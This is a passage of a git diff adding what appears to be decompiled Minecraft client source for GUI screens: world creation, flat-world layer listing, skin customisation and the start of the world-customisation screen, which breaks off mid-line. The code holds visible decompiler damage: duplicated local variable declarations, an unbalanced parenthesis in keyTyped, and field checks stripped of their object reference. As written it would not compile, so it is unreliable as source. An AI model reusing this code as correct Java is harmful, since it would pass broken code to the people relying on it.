+      var10.addVertexWithUV(p_148224_1_ + 0, p_148224_2_ + 0, zLevel, (p_148224_3_ + 0) * 0.0078125F, (p_148224_4_ + 0) * 0.0078125F);
+      var9.draw();
+    }
+    
+    protected int getSize()
+    {
+      return theFlatGeneratorInfo.getFlatLayers().size();
+    }
+    
+    protected void elementClicked(int slotIndex, boolean isDoubleClick, int mouseX, int mouseY)
+    {
+      field_148228_k = slotIndex;
+      func_146375_g();
+    }
+    
+    protected boolean isSelected(int slotIndex)
+    {
+      return slotIndex == field_148228_k;
+    }
+    
+    protected void drawBackground() {}
+    
+    protected void drawSlot(int p_180791_1_, int p_180791_2_, int p_180791_3_, int p_180791_4_, int p_180791_5_, int p_180791_6_)
+    {
+      FlatLayerInfo var7 = (FlatLayerInfo)theFlatGeneratorInfo.getFlatLayers().get(theFlatGeneratorInfo.getFlatLayers().size() - p_180791_1_ - 1);
+      IBlockState var8 = var7.func_175900_c();
+      Block var9 = var8.getBlock();
+      Item var10 = Item.getItemFromBlock(var9);
+      ItemStack var11 = (var9 != Blocks.air) && (var10 != null) ? new ItemStack(var10, 1, var9.getMetaFromState(var8)) : null;
+      String var12 = var11 == null ? "Air" : var10.getItemStackDisplayName(var11);
+      
+      if (var10 == null)
+      {
+        if ((var9 != Blocks.water) && (var9 != Blocks.flowing_water))
+        {
+          if ((var9 == Blocks.lava) || (var9 == Blocks.flowing_lava))
+          {
+            var10 = Items.lava_bucket;
+          }
+          
+        }
+        else {
+          var10 = Items.water_bucket;
+        }
+        
+        if (var10 != null)
+        {
+          var11 = new ItemStack(var10, 1, var9.getMetaFromState(var8));
+          var12 = var9.getLocalizedName();
+        }
+      }
+      
+      func_148225_a(p_180791_2_, p_180791_3_, var11);
+      fontRendererObj.drawString(var12, p_180791_2_ + 18 + 5, p_180791_3_ + 3, 16777215);
+      String var13;
+      String var13;
+      if (p_180791_1_ == 0)
+      {
+        var13 = I18n.format("createWorld.customize.flat.layer.top", new Object[] { Integer.valueOf(var7.getLayerCount()) });
+      } else { String var13;
+        if (p_180791_1_ == theFlatGeneratorInfo.getFlatLayers().size() - 1)
+        {
+          var13 = I18n.format("createWorld.customize.flat.layer.bottom", new Object[] { Integer.valueOf(var7.getLayerCount()) });
+        }
+        else
+        {
+          var13 = I18n.format("createWorld.customize.flat.layer", new Object[] { Integer.valueOf(var7.getLayerCount()) });
+        }
+      }
+      fontRendererObj.drawString(var13, p_180791_2_ + 2 + 213 - fontRendererObj.getStringWidth(var13), p_180791_3_ + 3, 16777215);
+    }
+    
+    protected int getScrollBarX()
+    {
+      return width - 70;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiCreateWorld.java b/src/minecraft/net/minecraft/client/gui/GuiCreateWorld.java
new file mode 100644
index 0000000..8271c01
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiCreateWorld.java
@@ -0,0 +1,510 @@
+package net.minecraft.client.gui;
+
+import java.io.IOException;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.world.WorldSettings;
+import net.minecraft.world.WorldSettings.GameType;
+import net.minecraft.world.WorldType;
+import net.minecraft.world.storage.ISaveFormat;
+import net.minecraft.world.storage.WorldInfo;
+
+public class GuiCreateWorld extends GuiScreen
+{
+  private GuiScreen field_146332_f;
+  private GuiTextField field_146333_g;
+  private GuiTextField field_146335_h;
+  private String field_146336_i;
+  private String field_146342_r = "survival";
+  private String field_175300_s;
+  private boolean field_146341_s = true;
+  private boolean field_146340_t;
+  private boolean field_146339_u;
+  private boolean field_146338_v;
+  private boolean field_146337_w;
+  private boolean field_146345_x;
+  private boolean field_146344_y;
+  private GuiButton field_146343_z;
+  private GuiButton field_146324_A;
+  private GuiButton field_146325_B;
+  private GuiButton field_146326_C;
+  private GuiButton field_146320_D;
+  private GuiButton field_146321_E;
+  private GuiButton field_146322_F;
+  private String field_146323_G;
+  private String field_146328_H;
+  private String field_146329_I;
+  private String field_146330_J;
+  private int field_146331_K;
+  public String field_146334_a = "";
+  private static final String[] field_146327_L = { "CON", "COM", "PRN", "AUX", "CLOCK$", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9" };
+  private static final String __OBFID = "CL_00000689";
+  
+  public GuiCreateWorld(GuiScreen p_i46320_1_)
+  {
+    field_146332_f = p_i46320_1_;
+    field_146329_I = "";
+    field_146330_J = I18n.format("selectWorld.newWorld", new Object[0]);
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    field_146333_g.updateCursorCounter();
+    field_146335_h.updateCursorCounter();
+  }
+  
+
+
+
+  public void initGui()
+  {
+    org.lwjgl.input.Keyboard.enableRepeatEvents(true);
+    buttonList.clear();
+    buttonList.add(new GuiButton(0, width / 2 - 155, height - 28, 150, 20, I18n.format("selectWorld.create", new Object[0])));
+    buttonList.add(new GuiButton(1, width / 2 + 5, height - 28, 150, 20, I18n.format("gui.cancel", new Object[0])));
+    buttonList.add(this.field_146343_z = new GuiButton(2, width / 2 - 75, 115, 150, 20, I18n.format("selectWorld.gameMode", new Object[0])));
+    buttonList.add(this.field_146324_A = new GuiButton(3, width / 2 - 75, 187, 150, 20, I18n.format("selectWorld.moreWorldOptions", new Object[0])));
+    buttonList.add(this.field_146325_B = new GuiButton(4, width / 2 - 155, 100, 150, 20, I18n.format("selectWorld.mapFeatures", new Object[0])));
+    field_146325_B.visible = false;
+    buttonList.add(this.field_146326_C = new GuiButton(7, width / 2 + 5, 151, 150, 20, I18n.format("selectWorld.bonusItems", new Object[0])));
+    field_146326_C.visible = false;
+    buttonList.add(this.field_146320_D = new GuiButton(5, width / 2 + 5, 100, 150, 20, I18n.format("selectWorld.mapType", new Object[0])));
+    field_146320_D.visible = false;
+    buttonList.add(this.field_146321_E = new GuiButton(6, width / 2 - 155, 151, 150, 20, I18n.format("selectWorld.allowCommands", new Object[0])));
+    field_146321_E.visible = false;
+    buttonList.add(this.field_146322_F = new GuiButton(8, width / 2 + 5, 120, 150, 20, I18n.format("selectWorld.customizeType", new Object[0])));
+    field_146322_F.visible = false;
+    field_146333_g = new GuiTextField(9, fontRendererObj, width / 2 - 100, 60, 200, 20);
+    field_146333_g.setFocused(true);
+    field_146333_g.setText(field_146330_J);
+    field_146335_h = new GuiTextField(10, fontRendererObj, width / 2 - 100, 60, 200, 20);
+    field_146335_h.setText(field_146329_I);
+    func_146316_a(field_146344_y);
+    func_146314_g();
+    func_146319_h();
+  }
+  
+  private void func_146314_g()
+  {
+    field_146336_i = field_146333_g.getText().trim();
+    char[] var1 = net.minecraft.util.ChatAllowedCharacters.allowedCharactersArray;
+    int var2 = var1.length;
+    
+    for (int var3 = 0; var3 < var2; var3++)
+    {
+      char var4 = var1[var3];
+      field_146336_i = field_146336_i.replace(var4, '_');
+    }
+    
+    if (org.apache.commons.lang3.StringUtils.isEmpty(field_146336_i))
+    {
+      field_146336_i = "World";
+    }
+    
+    field_146336_i = func_146317_a(mc.getSaveLoader(), field_146336_i);
+  }
+  
+  private void func_146319_h()
+  {
+    field_146343_z.displayString = (I18n.format("selectWorld.gameMode", new Object[0]) + ": " + I18n.format(new StringBuilder("selectWorld.gameMode.").append(field_146342_r).toString(), new Object[0]));
+    field_146323_G = I18n.format("selectWorld.gameMode." + field_146342_r + ".line1", new Object[0]);
+    field_146328_H = I18n.format("selectWorld.gameMode." + field_146342_r + ".line2", new Object[0]);
+    field_146325_B.displayString = (I18n.format("selectWorld.mapFeatures", new Object[0]) + " ");
+    
+    if (field_146341_s)
+    {
+      field_146325_B.displayString += I18n.format("options.on", new Object[0]);
+    }
+    else
+    {
+      field_146325_B.displayString += I18n.format("options.off", new Object[0]);
+    }
+    
+    field_146326_C.displayString = (I18n.format("selectWorld.bonusItems", new Object[0]) + " ");
+    
+    if ((field_146338_v) && (!field_146337_w))
+    {
+      field_146326_C.displayString += I18n.format("options.on", new Object[0]);
+    }
+    else
+    {
+      field_146326_C.displayString += I18n.format("options.off", new Object[0]);
+    }
+    
+    field_146320_D.displayString = (I18n.format("selectWorld.mapType", new Object[0]) + " " + I18n.format(WorldType.worldTypes[field_146331_K].getTranslateName(), new Object[0]));
+    field_146321_E.displayString = (I18n.format("selectWorld.allowCommands", new Object[0]) + " ");
+    
+    if ((field_146340_t) && (!field_146337_w))
+    {
+      field_146321_E.displayString += I18n.format("options.on", new Object[0]);
+    }
+    else
+    {
+      field_146321_E.displayString += I18n.format("options.off", new Object[0]);
+    }
+  }
+  
+  public static String func_146317_a(ISaveFormat p_146317_0_, String p_146317_1_)
+  {
+    p_146317_1_ = p_146317_1_.replaceAll("[\\./\"]", "_");
+    String[] var2 = field_146327_L;
+    int var3 = var2.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      String var5 = var2[var4];
+      
+      if (p_146317_1_.equalsIgnoreCase(var5))
+      {
+        p_146317_1_ = "_" + p_146317_1_ + "_";
+      }
+    }
+    
+    while (p_146317_0_.getWorldInfo(p_146317_1_) != null)
+    {
+      p_146317_1_ = p_146317_1_ + "-";
+    }
+    
+    return p_146317_1_;
+  }
+  
+
+
+
+  public void onGuiClosed()
+  {
+    org.lwjgl.input.Keyboard.enableRepeatEvents(false);
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException
+  {
+    if (enabled)
+    {
+      if (id == 1)
+      {
+        mc.displayGuiScreen(field_146332_f);
+      }
+      else if (id == 0)
+      {
+        mc.displayGuiScreen(null);
+        
+        if (field_146345_x)
+        {
+          return;
+        }
+        
+        field_146345_x = true;
+        long var2 = new Random().nextLong();
+        String var4 = field_146335_h.getText();
+        
+        if (!org.apache.commons.lang3.StringUtils.isEmpty(var4))
+        {
+          try
+          {
+            long var5 = Long.parseLong(var4);
+            
+            if (var5 != 0L)
+            {
+              var2 = var5;
+            }
+          }
+          catch (NumberFormatException var7)
+          {
+            var2 = var4.hashCode();
+          }
+        }
+        
+        WorldSettings.GameType var8 = WorldSettings.GameType.getByName(field_146342_r);
+        WorldSettings var6 = new WorldSettings(var2, var8, field_146341_s, field_146337_w, WorldType.worldTypes[field_146331_K]);
+        var6.setWorldName(field_146334_a);
+        
+        if ((field_146338_v) && (!field_146337_w))
+        {
+          var6.enableBonusChest();
+        }
+        
+        if ((field_146340_t) && (!field_146337_w))
+        {
+          var6.enableCommands();
+        }
+        
+        mc.launchIntegratedServer(field_146336_i, field_146333_g.getText().trim(), var6);
+      }
+      else if (id == 3)
+      {
+        func_146315_i();
+      }
+      else if (id == 2)
+      {
+        if (field_146342_r.equals("survival"))
+        {
+          if (!field_146339_u)
+          {
+            field_146340_t = false;
+          }
+          
+          field_146337_w = false;
+          field_146342_r = "hardcore";
+          field_146337_w = true;
+          field_146321_E.enabled = false;
+          field_146326_C.enabled = false;
+          func_146319_h();
+        }
+        else if (field_146342_r.equals("hardcore"))
+        {
+          if (!field_146339_u)
+          {
+            field_146340_t = true;
+          }
+          
+          field_146337_w = false;
+          field_146342_r = "creative";
+          func_146319_h();
+          field_146337_w = false;
+          field_146321_E.enabled = true;
+          field_146326_C.enabled = true;
+        }
+        else
+        {
+          if (!field_146339_u)
+          {
+            field_146340_t = false;
+          }
+          
+          field_146342_r = "survival";
+          func_146319_h();
+          field_146321_E.enabled = true;
+          field_146326_C.enabled = true;
+          field_146337_w = false;
+        }
+        
+        func_146319_h();
+      }
+      else if (id == 4)
+      {
+        field_146341_s = (!field_146341_s);
+        func_146319_h();
+      }
+      else if (id == 7)
+      {
+        field_146338_v = (!field_146338_v);
+        func_146319_h();
+      }
+      else if (id == 5)
+      {
+        field_146331_K += 1;
+        
+        if (field_146331_K >= WorldType.worldTypes.length)
+        {
+          field_146331_K = 0;
+        }
+        
+        while (!func_175299_g())
+        {
+          field_146331_K += 1;
+          
+          if (field_146331_K >= WorldType.worldTypes.length)
+          {
+            field_146331_K = 0;
+          }
+        }
+        
+        field_146334_a = "";
+        func_146319_h();
+        func_146316_a(field_146344_y);
+      }
+      else if (id == 6)
+      {
+        field_146339_u = true;
+        field_146340_t = (!field_146340_t);
+        func_146319_h();
+      }
+      else if (id == 8)
+      {
+        if (WorldType.worldTypes[field_146331_K] == WorldType.FLAT)
+        {
+          mc.displayGuiScreen(new GuiCreateFlatWorld(this, field_146334_a));
+        }
+        else
+        {
+          mc.displayGuiScreen(new GuiCustomizeWorldScreen(this, field_146334_a));
+        }
+      }
+    }
+  }
+  
+  private boolean func_175299_g()
+  {
+    WorldType var1 = WorldType.worldTypes[field_146331_K];
+    return (var1 != null) && (var1.getCanBeCreated()) ? true : var1 == WorldType.DEBUG_WORLD ? isShiftKeyDown() : false;
+  }
+  
+  private void func_146315_i()
+  {
+    func_146316_a(!field_146344_y);
+  }
+  
+  private void func_146316_a(boolean p_146316_1_)
+  {
+    field_146344_y = p_146316_1_;
+    
+    if (WorldType.worldTypes[field_146331_K] == WorldType.DEBUG_WORLD)
+    {
+      field_146343_z.visible = (!field_146344_y);
+      field_146343_z.enabled = false;
+      
+      if (field_175300_s == null)
+      {
+        field_175300_s = field_146342_r;
+      }
+      
+      field_146342_r = "spectator";
+      field_146325_B.visible = false;
+      field_146326_C.visible = false;
+      field_146320_D.visible = field_146344_y;
+      field_146321_E.visible = false;
+      field_146322_F.visible = false;
+    }
+    else
+    {
+      field_146343_z.visible = (!field_146344_y);
+      field_146343_z.enabled = true;
+      
+      if (field_175300_s != null)
+      {
+        field_146342_r = field_175300_s;
+        field_175300_s = null;
+      }
+      
+      field_146325_B.visible = ((field_146344_y) && (WorldType.worldTypes[field_146331_K] != WorldType.CUSTOMIZED));
+      field_146326_C.visible = field_146344_y;
+      field_146320_D.visible = field_146344_y;
+      field_146321_E.visible = field_146344_y;
+      field_146322_F.visible = ((field_146344_y) && ((WorldType.worldTypes[field_146331_K] == WorldType.FLAT) || (WorldType.worldTypes[field_146331_K] == WorldType.CUSTOMIZED)));
+    }
+    
+    func_146319_h();
+    
+    if (field_146344_y)
+    {
+      field_146324_A.displayString = I18n.format("gui.done", new Object[0]);
+    }
+    else
+    {
+      field_146324_A.displayString = I18n.format("selectWorld.moreWorldOptions", new Object[0]);
+    }
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws IOException
+  {
+    if ((field_146333_g.isFocused()) && (!field_146344_y))
+    {
+      field_146333_g.textboxKeyTyped(typedChar, keyCode);
+      field_146330_J = field_146333_g.getText();
+    }
+    else if ((field_146335_h.isFocused()) && (field_146344_y))
+    {
+      field_146335_h.textboxKeyTyped(typedChar, keyCode);
+      field_146329_I = field_146335_h.getText();
+    }
+    
+    if ((keyCode == 28) || (keyCode == 156))
+    {
+      actionPerformed((GuiButton)buttonList.get(0));
+    }
+    
+    buttonList.get(0)).enabled = (field_146333_g.getText().length() > 0);
+    func_146314_g();
+  }
+  
+
+
+  protected void mouseClicked(int mouseX, int mouseY, int mouseButton)
+    throws IOException
+  {
+    super.mouseClicked(mouseX, mouseY, mouseButton);
+    
+    if (field_146344_y)
+    {
+      field_146335_h.mouseClicked(mouseX, mouseY, mouseButton);
+    }
+    else
+    {
+      field_146333_g.mouseClicked(mouseX, mouseY, mouseButton);
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    drawCenteredString(fontRendererObj, I18n.format("selectWorld.create", new Object[0]), width / 2, 20, -1);
+    
+    if (field_146344_y)
+    {
+      drawString(fontRendererObj, I18n.format("selectWorld.enterSeed", new Object[0]), width / 2 - 100, 47, -6250336);
+      drawString(fontRendererObj, I18n.format("selectWorld.seedInfo", new Object[0]), width / 2 - 100, 85, -6250336);
+      
+      if (field_146325_B.visible)
+      {
+        drawString(fontRendererObj, I18n.format("selectWorld.mapFeatures.info", new Object[0]), width / 2 - 150, 122, -6250336);
+      }
+      
+      if (field_146321_E.visible)
+      {
+        drawString(fontRendererObj, I18n.format("selectWorld.allowCommands.info", new Object[0]), width / 2 - 150, 172, -6250336);
+      }
+      
+      field_146335_h.drawTextBox();
+      
+      if (WorldType.worldTypes[field_146331_K].showWorldInfoNotice())
+      {
+        fontRendererObj.drawSplitString(I18n.format(WorldType.worldTypes[field_146331_K].func_151359_c(), new Object[0]), field_146320_D.xPosition + 2, field_146320_D.yPosition + 22, field_146320_D.getButtonWidth(), 10526880);
+      }
+    }
+    else
+    {
+      drawString(fontRendererObj, I18n.format("selectWorld.enterName", new Object[0]), width / 2 - 100, 47, -6250336);
+      drawString(fontRendererObj, I18n.format("selectWorld.resultFolder", new Object[0]) + " " + field_146336_i, width / 2 - 100, 85, -6250336);
+      field_146333_g.drawTextBox();
+      drawString(fontRendererObj, field_146323_G, width / 2 - 100, 137, -6250336);
+      drawString(fontRendererObj, field_146328_H, width / 2 - 100, 149, -6250336);
+    }
+    
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+  
+  public void func_146318_a(WorldInfo p_146318_1_)
+  {
+    field_146330_J = I18n.format("selectWorld.newWorld.copyOf", new Object[] { p_146318_1_.getWorldName() });
+    field_146329_I = p_146318_1_.getSeed();
+    field_146331_K = p_146318_1_.getTerrainType().getWorldTypeID();
+    field_146334_a = p_146318_1_.getGeneratorOptions();
+    field_146341_s = p_146318_1_.isMapFeaturesEnabled();
+    field_146340_t = p_146318_1_.areCommandsAllowed();
+    
+    if (p_146318_1_.isHardcoreModeEnabled())
+    {
+      field_146342_r = "hardcore";
+    }
+    else if (p_146318_1_.getGameType().isSurvivalOrAdventure())
+    {
+      field_146342_r = "survival";
+    }
+    else if (p_146318_1_.getGameType().isCreative())
+    {
+      field_146342_r = "creative";
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiCustomizeSkin.java b/src/minecraft/net/minecraft/client/gui/GuiCustomizeSkin.java
new file mode 100644
index 0000000..ae2b201
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiCustomizeSkin.java
@@ -0,0 +1,103 @@
+package net.minecraft.client.gui;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.entity.player.EnumPlayerModelParts;
+
+public class GuiCustomizeSkin extends GuiScreen
+{
+  private final GuiScreen field_175361_a;
+  private String field_175360_f;
+  private static final String __OBFID = "CL_00001932";
+  
+  public GuiCustomizeSkin(GuiScreen p_i45516_1_)
+  {
+    field_175361_a = p_i45516_1_;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    int var1 = 0;
+    field_175360_f = I18n.format("options.skinCustomisation.title", new Object[0]);
+    EnumPlayerModelParts[] var2 = EnumPlayerModelParts.values();
+    int var3 = var2.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      EnumPlayerModelParts var5 = var2[var4];
+      buttonList.add(new ButtonPart(var5.func_179328_b(), width / 2 - 155 + var1 % 2 * 160, height / 6 + 24 * (var1 >> 1), 150, 20, var5, null));
+      var1++;
+    }
+    
+    if (var1 % 2 == 1)
+    {
+      var1++;
+    }
+    
+    buttonList.add(new GuiButton(200, width / 2 - 100, height / 6 + 24 * (var1 >> 1), I18n.format("gui.done", new Object[0])));
+  }
+  
+  protected void actionPerformed(GuiButton button) throws java.io.IOException
+  {
+    if (enabled)
+    {
+      if (id == 200)
+      {
+        mc.gameSettings.saveOptions();
+        mc.displayGuiScreen(field_175361_a);
+      }
+      else if ((button instanceof ButtonPart))
+      {
+        EnumPlayerModelParts var2 = field_175234_p;
+        mc.gameSettings.func_178877_a(var2);
+        displayString = func_175358_a(var2);
+      }
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    drawCenteredString(fontRendererObj, field_175360_f, width / 2, 20, 16777215);
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+  
+  private String func_175358_a(EnumPlayerModelParts p_175358_1_)
+  {
+    String var2;
+    String var2;
+    if (mc.gameSettings.func_178876_d().contains(p_175358_1_))
+    {
+      var2 = I18n.format("options.on", new Object[0]);
+    }
+    else
+    {
+      var2 = I18n.format("options.off", new Object[0]);
+    }
+    
+    return p_175358_1_.func_179326_d().getFormattedText() + ": " + var2;
+  }
+  
+  class ButtonPart extends GuiButton
+  {
+    private final EnumPlayerModelParts field_175234_p;
+    private static final String __OBFID = "CL_00001930";
+    
+    private ButtonPart(int p_i45514_2_, int p_i45514_3_, int p_i45514_4_, int p_i45514_5_, int p_i45514_6_, EnumPlayerModelParts p_i45514_7_)
+    {
+      super(p_i45514_3_, p_i45514_4_, p_i45514_5_, p_i45514_6_, GuiCustomizeSkin.this.func_175358_a(p_i45514_7_));
+      field_175234_p = p_i45514_7_;
+    }
+    
+    ButtonPart(int p_i45515_2_, int p_i45515_3_, int p_i45515_4_, int p_i45515_5_, int p_i45515_6_, EnumPlayerModelParts p_i45515_7_, Object p_i45515_8_)
+    {
+      this(p_i45515_2_, p_i45515_3_, p_i45515_4_, p_i45515_5_, p_i45515_6_, p_i45515_7_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiCustomizeWorldScreen.java b/src/minecraft/net/minecraft/client/gui/GuiCustomizeWorldScreen.java
new file mode 100644
index 0000000..47d74d6
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiCustomizeWorldScreen.java
@@ -0,0 +1,978 @@
+package net.minecraft.client.gui;
+
+import com.google.common.primitives.Floats;
+import java.io.IOException;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.biome.BiomeGenBase;
+import net.minecraft.world.gen.ChunkProviderSettings.Factory;
+
+public class GuiCustomizeWorldScreen extends GuiScreen implements GuiSlider.FormatHelper, GuiPageButtonList.GuiResponder
+{
+  private GuiCreateWorld field_175343_i;
+  protected String field_175341_a = "Customize World Settings";
+  protected String field_175333_f = "Page 1 of 3";
+  protected String field_175335_g = "Basic Settings";
+  protected String[] field_175342_h = new String[4];
+  private GuiPageButtonList field_175349_r;
+  private GuiButton field_175348_s;
+  private GuiButton field_175347_t;
+  private GuiButton field_175346_u;
+  private GuiButton field_175345_v;
+  private GuiButton field_175344_w;
+  private GuiButton field_175352_x;
+  private GuiButton field_175351_y;
+  private GuiButton field_175350_z;
+  private boolean field_175338_A = false;
+  private int field_175339_B = 0;
+  private boolean field_175340_C = false;
+  private com.google.common.base.Predicate field_175332_D = new com.google.common.base.Predicate()
+  {
+    private static final String __OBFID = "CL_00001933";
+    
+    public boolean func_178956_a(String p_178956_1_) {
+      Float var2 = Floats.tryParse(p_178956_1_);
+      return (p_178956_1_.length() == 0) || ((var2 != null) && (Floats.isFinite(var2.floatValue())) && (var2.floatValue() >= 0.0F));
+    }
+    
+    public boolean apply(Object p_apply_1_) {
+      return func_178956_a((String)p_apply_1_);
+    }
+  };
+  private ChunkProviderSettings.Factory field_175334_E = new ChunkProviderSettings.Factory();
+  private ChunkProviderSettings.Factory field_175336_F;
+  private Random field_175337_G = new Random();
+  private static final String __OBFID = "CL_00001934";
+  
+  public GuiCustomizeWorldScreen(GuiScreen p_i45521_1_, String p_i45521_2_)
+  {
+    field_175343_i = ((GuiCreateWorld)p_i45521_1_);
+    func_175324_a(p_i45521_2_);
+  }
+  
+
+
+
+  public void initGui()
+  {
+    field_175341_a = I18n.format("options.customizeTitle", new Object[0]);
+    buttonList.clear();
+    buttonList.add(this.field_175345_v = new GuiButton(302, 20, 5, 80, 20, I18n.format("createWorld.customize.custom.prev", new Object[0])));
+    buttonList.add(this.field_175344_w = new GuiButton(303, width - 100, 5, 80, 20, I18n.format("createWorld.customize.custom.next", new Object[0])));
+    buttonList.add(this.field_175346_u = new GuiButton(304, width / 2 - 187, height - 27, 90, 20, I18n.format("createWorld.customize.custom.defaults", new Object[0])));
+    buttonList.add(this.field_175347_t = new GuiButton(301, width / 2 - 92, height - 27, 90, 20, I18n.format("createWorld.customize.custom.randomize", new Object[0])));
+    buttonList.add(this.field_175350_z = new GuiButton(305, width / 2 + 3, height - 27, 90, 20, I18n.format("createWorld.customize.custom.presets", new Object[0])));
+    buttonList.add(this.field_175348_s = new GuiButton(300, width / 2 + 98, height - 27, 90, 20, I18n.format("gui.done", new Object[0])));
+    field_175352_x = new GuiButton(306, width / 2 - 55, 160, 50, 20, I18n.format("gui.yes", new Object[0]));
+    field_175352_x.visible = false;
+    buttonList.add(field_175352_x);
+    field_175351_y = new GuiButton(307, width / 2 + 5, 160, 50, 20, I18n.format("gui.no", new Object[0]));
+    field_175351_y.visible = false;
+    buttonList.add(field_175351_y);
+    func_175325_f();
+  }
+  
+
+
+  public void handleMouseInput()
+    throws IOException
+  {
+    super.handleMouseInput();
+    field_175349_r.func_178039_p();
+  }
+  
+  private void func_175325_f()
+  {
+    GuiPageButtonList.GuiListEntry[] var1 = { new GuiPageButtonList.GuiSlideEntry(160, I18n.format("createWorld.customize.custom.seaLevel", new Object[0]), true, this, 1.0F, 255.0F, field_175336_F.field_177929_r), new GuiPageButtonList.GuiButtonEntry(148, I18n.format("createWorld.customize.custom.useCaves", new Object[0]), true, field_175336_F.field_177927_s), new GuiPageButtonList.GuiButtonEntry(150, I18n.format("createWorld.customize.custom.useStrongholds", new Object[0]), true, field_175336_F.field_177921_v), new GuiPageButtonList.GuiButtonEntry(151, I18n.format("createWorld.customize.custom.useVillages", new Object[0]), true, field_175336_F.field_177919_w), new GuiPageButtonList.GuiButtonEntry(152, I18n.format("createWorld.customize.custom.useMineShafts", new Object[0]), true, field_175336_F.field_177944_x), new GuiPageButtonList.GuiButtonEntry(153, I18n.format("createWorld.customize.custom.useTemples", new Object[0]), true, field_175336_F.field_177942_y), new GuiPageButtonList.GuiButtonEntry(210, I18n.format("createWorld.customize.custom.useMonuments", new Object[0]), true, field_175336_F.field_177940_z), new GuiPageButtonList.GuiButtonEntry(154, I18n.format("createWorld.customize.custom.useRavines", new Object[0]), true, field_175336_F.field_177870_A), new GuiPageButtonList.GuiButtonEntry(149, I18n.format("createWorld.customize.custom.useDungeons", new Object[0]), true, field_175336_F.field_177925_t), new GuiPageButtonList.GuiSlideEntry(157, I18n.format("createWorld.customize.custom.dungeonChance", new Object[0]), true, this, 1.0F, 100.0F, field_175336_F.field_177923_u), new GuiPageButtonList.GuiButtonEntry(155, I18n.format("createWorld.customize.custom.useWaterLakes", new Object[0]), true, field_175336_F.field_177871_B), new GuiPageButtonList.GuiSlideEntry(158, I18n.format("createWorld.customize.custom.waterLakeChance", new Object[0]), true, this, 1.0F, 100.0F, field_175336_F.field_177872_C), new GuiPageButtonList.GuiButtonEntry(156, I18n.format("createWorld.customize.custom.useLavaLakes", new Object[0]), true, field_175336_F.field_177866_D), new GuiPageButtonList.GuiSlideEntry(159, I18n.format("createWorld.customize.custom.lavaLakeChance", new Object[0]), true, this, 10.0F, 100.0F, field_175336_F.field_177867_E), new GuiPageButtonList.GuiButtonEntry(161, I18n.format("createWorld.customize.custom.useLavaOceans", new Object[0]), true, field_175336_F.field_177868_F), new GuiPageButtonList.GuiSlideEntry(162, I18n.format("createWorld.customize.custom.fixedBiome", new Object[0]), true, this, -1.0F, 37.0F, field_175336_F.field_177869_G), new GuiPageButtonList.GuiSlideEntry(163, I18n.format("createWorld.customize.custom.biomeSize", new Object[0]), true, this, 1.0F, 8.0F, field_175336_F.field_177877_H), new GuiPageButtonList.GuiSlideEntry(164, I18n.format("createWorld.customize.custom.riverSize", new Object[0]), true, this, 1.0F, 5.0F, field_175336_F.field_177878_I) };
+    GuiPageButtonList.GuiListEntry[] var2 = { new GuiPageButtonList.GuiLabelEntry(416, I18n.format("tile.dirt.name", new Object[0]), false), 0, new GuiPageButtonList.GuiSlideEntry(165, I18n.format("createWorld.customize.custom.size", new Object[0]), false, this, 1.0F, 50.0F, field_175336_F.field_177879_J), new GuiPageButtonList.GuiSlideEntry(166, I18n.format("createWorld.customize.custom.count", new Object[0]), false, this, 0.0F, 40.0F, field_175336_F.field_177880_K), new GuiPageButtonList.GuiSlideEntry(167, I18n.format("createWorld.customize.custom.minHeight", new Object[0]), false, this, 0.0F, 255.0F, field_175336_F.field_177873_L), new GuiPageButtonList.GuiSlideEntry(168, I18n.format("createWorld.customize.custom.maxHeight", new Object[0]), false, this, 0.0F, 255.0F, field_175336_F.field_177874_M), new GuiPageButtonList.GuiLabelEntry(417, I18n.format("tile.gravel.name", new Object[0]), false), 0, new GuiPageButtonList.GuiSlideEntry(169, I18n.format("createWorld.customize.custom.size", new Object[0]), false, this, 1.0F, 50.0F, field_175336_F.field_177875_N), new GuiPageButtonList.GuiSlideEntry(170, I18n.format("createWorld.customize.custom.count", new Object[0]), false, this, 0.0F, 40.0F, field_175336_F.field_177876_O), new GuiPageButtonList.GuiSlideEntry(171, I18n.format("createWorld.customize.custom.minHeight", new Object[0]), false, this, 0.0F, 255.0F, field_175336_F.field_177886_P), new GuiPageButtonList.GuiSlideEntry(172, I18n.format("createWorld.customize.custom.maxHeight", new Object[0]), false, this, 0.0F, 255.0F, field_175336_F.field_177885_Q), new GuiPageButtonList.GuiLabelEntry(418, I18n.format("tile.stone.granite.name", new Object[0]), false), 0, new GuiPageButtonList.GuiSlideEntry(173, I18n.format("createWorld.customize.custom.size", new Object[0]), false, this, 1.0F, 50.0F, field_175336_F.field_177888_R), new GuiPageButtonList.GuiSlideEntry(174, I18n.format("createWorld.customize.custom.count", new Object[0]), false, this, 0.0F, 40.0F, field_175336_F.field_177887_S), new 